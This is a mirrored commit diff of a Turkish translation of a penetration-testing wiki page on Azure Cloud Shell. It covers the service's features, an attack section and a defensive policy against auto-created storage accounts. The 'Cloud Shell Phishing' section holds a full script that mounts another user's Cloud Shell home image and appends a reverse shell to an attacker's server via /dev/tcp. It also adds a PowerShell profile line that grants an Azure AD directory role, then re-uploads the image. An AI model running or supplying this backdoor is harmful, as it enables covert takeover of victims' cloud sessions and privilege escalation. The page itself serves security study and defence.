mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 11:26:11 -08:00
Translated ['src/pentesting-cloud/azure-security/az-services/az-cloud-sh
This commit is contained in:
@@ -4,25 +4,113 @@
|
||||
|
||||
## Azure Cloud Shell
|
||||
|
||||
**Azure Cloud Shell**, Azure kaynaklarını yönetmek için tasarlanmış, etkileşimli, kimlik doğrulamalı, tarayıcı erişimli bir terminaldir ve Bash veya PowerShell ile çalışma esnekliği sunar. 20 dakikalık bir etkinlik süresizliğinden sonra zaman aşımına uğrayan geçici, oturum başına bir ana bilgisayarda çalışır ve $HOME konumunda 5-GB dosya paylaşımı kullanarak dosyaları kalıcı hale getirir. Cloud Shell, Azure portalı, shell.azure.com, Azure CLI ve PowerShell belgeleri, Azure mobil uygulaması ve Visual Studio Code Azure Hesap uzantısı gibi birden fazla noktadan erişilebilir.
|
||||
**Azure Cloud Shell**, Azure kaynaklarını yönetmek için tasarlanmış, etkileşimli, kimlik doğrulamalı, tarayıcı erişimli bir terminaldir ve Bash veya PowerShell ile çalışma esnekliği sunar. 20 dakikalık bir etkinlik süresizliğinden sonra zaman aşımına uğrayan geçici, oturum başına bir host üzerinde çalışır ve $HOME konumunda 5-GB'lık bir dosya paylaşımı kullanarak dosyaları kalıcı hale getirir. Cloud Shell, Azure portalı, shell.azure.com, Azure CLI ve PowerShell belgeleri, Azure mobil uygulaması ve Visual Studio Code Azure Hesap uzantısı gibi birden fazla noktadan erişilebilir.
|
||||
|
||||
Bu hizmete atanan izinler yoktur, bu nedenle ayrıcalık yükseltme teknikleri yoktur. Ayrıca herhangi bir türde sayım yoktur.
|
||||
|
||||
### Ana Özellikler
|
||||
|
||||
**Ortam**: Azure Cloud Shell, bulut altyapısı için tasarlanmış Microsoft'un kendi Linux dağıtımı olan Azure Linux üzerinde çalışarak güvenli bir ortam sağlar. Azure Linux deposunda yer alan tüm paketler, tedarik zinciri saldırılarına karşı koruma sağlamak için Microsoft tarafından dahili olarak derlenmiştir.
|
||||
**Önceden Yüklenmiş Araçlar**: Cloud Shell, Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git ve vim, nano ve emacs gibi metin editörleri gibi kapsamlı bir önceden yüklenmiş araç seti içerir. Bu araçlar kullanıma hazırdır. Yüklenen paketleri ve modülleri listelemek için "Get-Module -ListAvailable", "tdnf list" ve "pip3 list" komutlarını kullanabilirsiniz.
|
||||
**$HOME kalıcılığı**: Azure Cloud Shell'i ilk kez başlattığınızda, ekli bir depolama hesabı ile veya olmadan kullanabilirsiniz. Depolama eklememeyi seçmek, oturum sona erdiğinde dosyaların silindiği geçici bir oturum oluşturur. Oturumlar arasında dosyaları kalıcı hale getirmek için, otomatik olarak **$HOME\clouddrive** olarak eklenen bir depolama hesabını bağlayın ve **$HOME** dizininiz Azure File Share'de **.img** dosyası olarak kaydedilir. Ancak, $HOME dışındaki dosyalar ve makine durumları kalıcı hale getirilmez. SSH anahtarları gibi gizli bilgileri güvenli bir şekilde depolamak için Azure Key Vault'u kullanın.
|
||||
**Azure sürücüsü (Azure:)**: Azure Cloud Shell'deki PowerShell, Compute, Network ve Storage gibi Azure kaynaklarının dosya sistemi benzeri komutlar kullanılarak kolayca gezinilmesini sağlayan Azure sürücüsünü (Azure:) içerir. Azure sürücüsüne geçmek için cd Azure: komutunu kullanın ve ana dizininize dönmek için cd ~ komutunu kullanın. Herhangi bir sürücüden kaynakları yönetmek için Azure PowerShell cmdlet'lerini kullanmaya devam edebilirsiniz.
|
||||
**Özel Araç Kurulumu**: Depolama hesabı ile Cloud Shell'i yapılandıran kullanıcılar, kök izinleri gerektirmeyen ek araçlar kurabilir. Bu özellik, Cloud Shell ortamının daha fazla özelleştirilmesine olanak tanır ve kullanıcıların kurulumlarını özel ihtiyaçlarına göre uyarlamalarını sağlar.
|
||||
- **Önceden Yüklenmiş Araçlar**: Cloud Shell, Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git ve vim, nano ve emacs gibi metin düzenleyicileri gibi kapsamlı bir önceden yüklenmiş araç seti içerir. Bu araçlar kullanıma hazırdır. Yüklenmiş paketleri ve modülleri listelemek için "Get-Module -ListAvailable", "tdnf list" ve "pip3 list" komutlarını kullanabilirsiniz.
|
||||
- **Azure sürücüsü (Azure:)**: Azure Cloud Shell'deki PowerShell, Azure kaynaklarını (Hesaplama, Ağ ve Depolama gibi) dosya sistemi benzeri komutlar kullanarak kolayca gezmenizi sağlayan Azure sürücüsünü (Azure:) içerir. Azure sürücüsüne geçmek için cd Azure: komutunu kullanın ve ana dizininize dönmek için cd ~ komutunu kullanın. Herhangi bir sürücüden kaynakları yönetmek için Azure PowerShell cmdlet'lerini kullanmaya devam edebilirsiniz.
|
||||
- **Özel Araç Kurulumu**: Cloud Shell'i bir depolama hesabı ile yapılandıran kullanıcılar, kök izinleri gerektirmeyen ek araçlar kurabilir. Bu özellik, Cloud Shell ortamının daha fazla özelleştirilmesine olanak tanır ve kullanıcıların kurulumlarını belirli ihtiyaçlarına göre uyarlamalarını sağlar.
|
||||
- **$HOME kalıcılığı**: Azure Cloud Shell'i ilk kez başlattığınızda, onu ekli bir depolama hesabı ile veya olmadan kullanabilirsiniz.
|
||||
- Depolama eklememek, oturum sona erdiğinde dosyaların silindiği geçici bir oturum oluşturur.
|
||||
- Oturumlar arasında dosyaları kalıcı hale getirmek için, otomatik olarak `$HOME\clouddrive` olarak eklenen bir **depolama hesabı bağlama** seçeneğiniz vardır; `$HOME` dizininiz **bir Dosya Paylaşımında .img dosyası olarak kaydedilir.**
|
||||
|
||||
### Cloud Shell Phishing
|
||||
|
||||
Eğer bir saldırgan, yazma ve okuma erişimine sahip olduğu bir Depolama Hesabında diğer kullanıcıların görüntülerini bulursa, görüntüyü indirebilir, **içine bir bash ve PS arka kapı ekleyebilir** ve görüntüyü tekrar Depolama Hesabına yükleyebilir, böylece kullanıcı shell'e eriştiğinde **komutlar otomatik olarak yürütülecektir**.
|
||||
|
||||
- **Görüntüyü indir, arka kapıyı ekle ve yükle:**
|
||||
```bash
|
||||
# Download image
|
||||
mkdir /tmp/phishing_img
|
||||
az storage file download-batch -d /tmp/phishing_img --account-name <acc-name>
|
||||
|
||||
# Mount image
|
||||
cd /tmp/phishing_img/.cloudconsole
|
||||
mkdir /tmp/cloudpoison
|
||||
sudo mount acc_username.img /tmp/cloudpoison
|
||||
cd /tmp/cloudpoison
|
||||
sudo mkdir .config
|
||||
sudo mkdir .config/PowerShell
|
||||
sudo touch .config/PowerShell/Microsoft.PowerShell_profile.ps1
|
||||
sudo chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1
|
||||
|
||||
# Bash backdoor
|
||||
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc
|
||||
|
||||
# PS backdoor
|
||||
echo "Connect-AzureAD; Add-AzureADDirectoryRoleMember -ObjectId 1246bcfd-42dc-4bb7-a86d-3637ca422b21 -RefObjectId 1D8B2447-8318-41E5-B365-CB7275862F8A" >> .config/PowerShell/Microsoft.PowerShell_profile.ps1
|
||||
cd /tmp
|
||||
|
||||
sudo umount /tmp/cloudpoison
|
||||
|
||||
# Upload image
|
||||
az storage file upload --account-name <acc-name> --path ".cloudconsole/acc_username.img" --source "./tmp/phishing_img/.cloudconsole/acc_username.img"
|
||||
```
|
||||
- **Sonra, kullanıcıyı https://shell.azure.com/ adresine erişmesi için oltalayın.**
|
||||
|
||||
### Cloud Shell Otomatik Depolama Hesaplarını Bulun ve Yasaklayın
|
||||
|
||||
Cloud Shell tarafından oluşturulan depolama hesapları **`ms-resource-usage:azure-cloud-shell`** etiketi ile işaretlenmiştir. Bu etikete sahip kaynakların oluşturulmasını devre dışı bırakacak bir Azure kaynak politikası oluşturmak mümkündür.
|
||||
|
||||
Cloud Shell tarafından etiketlerle oluşturulan tüm depolama hesaplarını bulun:
|
||||
```bash
|
||||
az storage account list --output json | jq '.[] | select(.tags["ms-resource-usage"]=="azure-cloud-shell")'
|
||||
```
|
||||
Etiketlere dayalı olarak bulut kabuğu depolaması için otomatik depolama hesaplarının oluşturulmasını yasaklayan politika:
|
||||
```json
|
||||
{
|
||||
displayName: "Restrict cloud shell storage account creation",
|
||||
description: "Storage accounts that you create in Cloud Shell are tagged with ms-resource-usage:azure-cloud-shell. If you want to disallow users from creating storage accounts in Cloud Shell, create an Azure resource policy for tags that is triggered by this specific tag. https://learn.microsoft.com/en-us/azure/cloud-shell/persisting-shell-storage#restrict-resource-creation-with-an-azure-resource-policy",
|
||||
metadata: {
|
||||
category: "Storage",
|
||||
version: "1.0.0"
|
||||
},
|
||||
mode: "All",
|
||||
parameters: {
|
||||
effect: {
|
||||
type: "String",
|
||||
metadata: {
|
||||
displayName: "Effect",
|
||||
description: "Deny, Audit or Disabled the execution of the Policy"
|
||||
},
|
||||
allowedValues: [
|
||||
"Deny",
|
||||
"Audit",
|
||||
"Disabled"
|
||||
],
|
||||
defaultValue: "Audit"
|
||||
}
|
||||
},
|
||||
policyRule: {
|
||||
if: {
|
||||
allOf: [
|
||||
{
|
||||
field: "type",
|
||||
equals: "Microsoft.Storage/storageAccounts"
|
||||
},
|
||||
{
|
||||
field: "tags['ms-resource-usage']",
|
||||
equals: "azure-cloud-shell"
|
||||
}
|
||||
]
|
||||
},
|
||||
then: {
|
||||
effect: "[parameters('effect')]"
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
## Referanslar
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview)
|
||||
- [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features)
|
||||
- [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window)
|
||||
|
||||
## Kalıcılık
|
||||
|
||||
## Süreklilik
|
||||
|
||||
{{#ref}}
|
||||
../az-persistence/az-cloud-shell-persistence.md
|
||||
|
||||
Reference in New Issue
Block a user